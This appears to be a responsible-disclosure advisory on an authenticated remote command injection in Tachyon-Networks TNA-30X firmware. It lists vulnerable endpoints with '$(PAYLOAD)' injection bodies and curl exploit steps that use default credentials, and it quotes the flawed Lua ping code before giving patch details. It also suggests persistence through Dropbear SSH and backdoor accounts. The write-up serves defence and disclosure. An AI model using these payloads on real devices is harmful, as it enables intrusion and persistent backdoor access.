Tachyon-Networks - Authenticated RCE
Overview
Incomplete sanitisation of inputs from an authenticated user with admin privilege can perform remote command execution.
Whilst an “admin” user is already privileged, the ability to perform RCE allows for potential backdoor persistence to be established as the underlying OS is not exposed during normal operation.
For example if a threat actor was able to successfully authenticate (eg. default credentials, or insider threat) they could launch the Dropbear SSH service to gain full shell access, implanting persistent authentication tokens or backdoor accounts.
Impacted Firmwares
This has been tested on TNA-30X firmwares 1.11.4 and 1.12.0 (beta 1) with both being vulnerable, older firmwares are also likely to be impacted
Vulnerable HTTP Endpoints
Below are the known vulnerable endpoints, this may not be a complete list
Substitute PAYLOAD
with the desired command to execute
Endpoint | HTTP Method | Payload |
---|---|---|
/cgi.lua/traceroute |
POST |
{"ip_address":"$(PAYLOAD)","selected_ip":"IPv4"} |
/cgi.lua/ping |
POST |
{"ip_address":"$(PAYLOAD)","count":3,"selected_ip":"1.1.1.1"} |
/cgi.lua/speedtest |
POST |
{"mac": "00:00:00:00:00:00", "remote_mac": "00:00:00:00:00:00", "remote_interface": "eth0", "direction": "remote", "interface": "$(PAYLOAD)"} |
Exploit Steps
- Authenticate to the target device via the
/cgi.lau/login
http endpoint, retrieving the token from the cookie headercurl -k -v 'https://192.168.1.1/cgi.lua/login' -X POST -H 'Content-Type: application/json' --data-raw '{"username":"root","password":"admin"}' Note: Unnecessary use of -X or --request, POST is already inferred. * Trying 192.168.1.1:443... * Connected to 192.168.1.1 (192.168.1.1) port 443 ... > POST /cgi.lua/login HTTP/1.1 > Host: 192.168.1.1 ... < HTTP/1.1 200 OK ... < Set-Cookie: token=BAPRLQTFAAAAAAF6WUXXOUDWV67PI7GRHIMEJRLU; path=/ ... * Connection #0 to host 192.168.1.1 left intact {"level":0,"first_login":false,"auth":true}%
- Execute payload with one of the vulnerable http endpoints, using the token obtained in the previous step
PAYLOAD="touch /rooted"; TOKEN="BAPRLQTFAAAAAAF6WUXXOUDWV67PI7GRHIMEJRLU"; TARGET="192.168.1.1"; curl -i -s -k -X $'POST' \ -H "Host: $TARGET" -H $'Content-Length: 56' \ -b "token=$TOKEN" \ --data-binary "{\"ip_address\":\"\$($PAYLOAD)\",\"selected_ip\":\"IPv4\"}" \ "https://$TARGET/cgi.lua/traceroute"
Vulnerable Code
Below is a sample of the code that is responsible for the vulnerability, whilst some sanitisation is performed it does not cover all possible command injections.
ping.lua
local function execute_ping(ip_address, count, selected_ip)
local command
if selected_ip == "IPv6" then
command = string.format("busybox ping6 -c %u \"%s\"", count, ip_address)
else
command = string.format("busybox ping -c %u \"%s\"", count, ip_address)
end
return wsutils.read_pipe_to_event("ping-out", command)
end
local function ping_callback(req, res) -- luacheck: no unused args
local ip_address, count, selected_ip, message_body
if req.method ~= "POST" then
return false, 404, "No service"
end
message_body = json.decode(req.POST.post_data)
if not message_body then
return false, 400, "Bad request - invalid content"
end
selected_ip = common.escape_double_quotes(message_body.selected_ip)
ip_address = common.escape_double_quotes(message_body.ip_address)
if type(ip_address) ~= "string" then
return false, 400, "No IP address provided"
end
count = common.escape_double_quotes(message_body.count)
if count then
if tonumber(count) then
count = tonumber(count)
else
return false, 400, "Ping iterations count must be a number"
end
else
count = 3
end
return process.bgcall(execute_ping, ip_address, count, selected_ip)
end
Outcomes
After submitting the disclosure report to Tachyon-Networks the vulnerability was patched and new firmware released.
No CVE IDs have been assigned as of this post.
Affected Products:
Tachyon-Network TNA and TNS series devices
Mitigation:
Update impacted devices to Version 1.11.5 or later.